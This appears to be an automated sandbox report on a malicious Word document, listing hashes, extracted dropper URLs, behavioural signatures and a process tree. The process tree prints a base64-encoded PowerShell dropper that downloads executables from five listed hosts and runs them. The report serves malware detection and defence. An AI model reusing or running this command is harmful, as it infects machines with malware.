Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 00:32

General

  • Target

    f1e1c0a73518f3ca584e90f162a224514a1a8a31d0b625f44e2c7ab878b715a0.doc

  • Size

    168KB

  • MD5

    75bd4b0063bd857bcab72e088adca30e

  • SHA1

    585a121ffbab437dd9043b87e2ace950842e5a06

  • SHA256

    f1e1c0a73518f3ca584e90f162a224514a1a8a31d0b625f44e2c7ab878b715a0

  • SHA512

    19b7666676481f8dd4edfd68f3b4b1df66536e6fd8e05ea5373c4375f00796dad8b2f8d1fa6d9ecb42bfacee8e0685b4845f937968fe32e9dd08d16e52cdd0ee

  • SSDEEP

    3072:64PrXcuQuvpzm4bkiaMQgAlS8ll4TKCpJynpr7RT:7DRv1m4bnQgIS8lFnpr7RT

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://houseofgriffin.org/weblog/v76/

exe.dropper

http://hohwy.com/cgi-bin/Bv8y33Cmr/

exe.dropper

http://lidermuebles.com.ar/cgi-bin/wz4rxd/

exe.dropper

http://106.52.87.250:81/wp-admin/T3B09Z/

exe.dropper

http://duhocjk.vn/wp-admin/51f73u/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f1e1c0a73518f3ca584e90f162a224514a1a8a31d0b625f44e2c7ab878b715a0.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2584
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABkAGEAbwBoAGoAbwB1AHQAaAB3AG8AaQB6AD0AJwBoAGUAYQBtAGgAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBgAGkAVABZAFAAUgBgAG8AdABvAGMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAawBpAG8AZABtAG8AYQBnACAAPQAgACcAOAA1ADEAJwA7ACQAeABhAGkAdAB4AGEAdQBnAHYAYQBlAHgAcgBvAGkAYwBoAD0AJwB2AGUAZQBwAGIAbwBvAGYAcABvAG8AcQB1ACcAOwAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGsAaQBvAGQAbQBvAGEAZwArACcALgBlAHgAZQAnADsAJABnAGUAdQBjAHQAaABhAHUAZABnAHUAcgBoAGUAdQBkAD0AJwBiAG8AbwBqAGgAaQBsAHQAaABlAGkAYgAnADsAJABrAGUAdQBwAGYAYQBpAGsAdABoAHUAdQBzAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUADsAJABtAGEAbwBnAHoAbwBlAGcAYwBoAHUAdQBrAD0AJwBoAHQAdABwADoALwAvAGgAbwB1AHMAZQBvAGYAZwByAGkAZgBmAGkAbgAuAG8AcgBnAC8AdwBlAGIAbABvAGcALwB2ADcANgAvACoAaAB0AHQAcAA6AC8ALwBoAG8AaAB3AHkALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCAHYAOAB5ADMAMwBDAG0AcgAvACoAaAB0AHQAcAA6AC8ALwBsAGkAZABlAHIAbQB1AGUAYgBsAGUAcwAuAGMAbwBtAC4AYQByAC8AYwBnAGkALQBiAGkAbgAvAHcAegA0AHIAeABkAC8AKgBoAHQAdABwADoALwAvADEAMAA2AC4ANQAyAC4AOAA3AC4AMgA1ADAAOgA4ADEALwB3AHAALQBhAGQAbQBpAG4ALwBUADMAQgAwADkAWgAvACoAaAB0AHQAcAA6AC8ALwBkAHUAaABvAGMAagBrAC4AdgBuAC8AdwBwAC0AYQBkAG0AaQBuAC8ANQAxAGYANwAzAHUALwAnAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAdQB1AGQAYgB1AGEAaABkAGkAbwBtAD0AJwB3AG8AdwB0AGkAYQB2AG4AdQBhAGwAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAgAGkAbgAgACQAbQBhAG8AZwB6AG8AZQBnAGMAaAB1AHUAawApAHsAdAByAHkAewAkAGsAZQB1AHAAZgBhAGkAawB0AGgAdQB1AHMALgAiAEQAbwBgAHcAbgBsAGAAbwBhAGAAZABGAEkATABFACIAKAAkAGIAbwBpAG4AbABlAGUAcgB4AHUAbgAsACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkAOwAkAGQAdQBhAHcAcQB1AG8AbwB0AGMAaABpAGEAdwA9ACcAawBpAGEAZgBsAGEAaQBkAGwAYQBlAGsAJwA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABqAGUAbwBsAHcAYQBpAHEAdQBqAG8AdQBkACkALgAiAEwAYABFAG4AZwB0AGgAIgAgAC0AZwBlACAAMwAzADYAMQA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAdABlACIAKAAkAGoAZQBvAGwAdwBhAGkAcQB1AGoAbwB1AGQAKQA7ACQAaABhAHUAYwBqAGEAaQB4AGsAbwBhAHcAZgBlAHUAagA9ACcAawBlAG8AagB4AHUAYwAnADsAYgByAGUAYQBrADsAJAB3AGkAYQBuAG0AYQBjAGgAdABvAGMAZABvAG8AagA9ACcAZwBlAGUAbQBsAGkAaAB6AGUAYQBiACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBhAGIAcQB1AGEAaQBjAGgAcABhAHcAPQAnAGIAbwBlAHgAdgBlAGEAeAB4AGkAeQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2912

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2584-17-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-5-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-0-0x000000002F491000-0x000000002F492000-memory.dmp

      Filesize

      4KB

    • memory/2584-6-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-21-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-7-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-8-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-22-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-16-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-12-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-10-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-9-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-2-0x0000000071B0D000-0x0000000071B18000-memory.dmp

      Filesize

      44KB

    • memory/2584-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2584-11-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-26-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-27-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-31-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-32-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-45-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-43-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2584-40-0x0000000071B0D000-0x0000000071B18000-memory.dmp

      Filesize

      44KB

    • memory/2584-41-0x0000000000580000-0x0000000000680000-memory.dmp

      Filesize

      1024KB

    • memory/2912-39-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB

    • memory/2912-38-0x000000001B6A0000-0x000000001B982000-memory.dmp

      Filesize

      2.9MB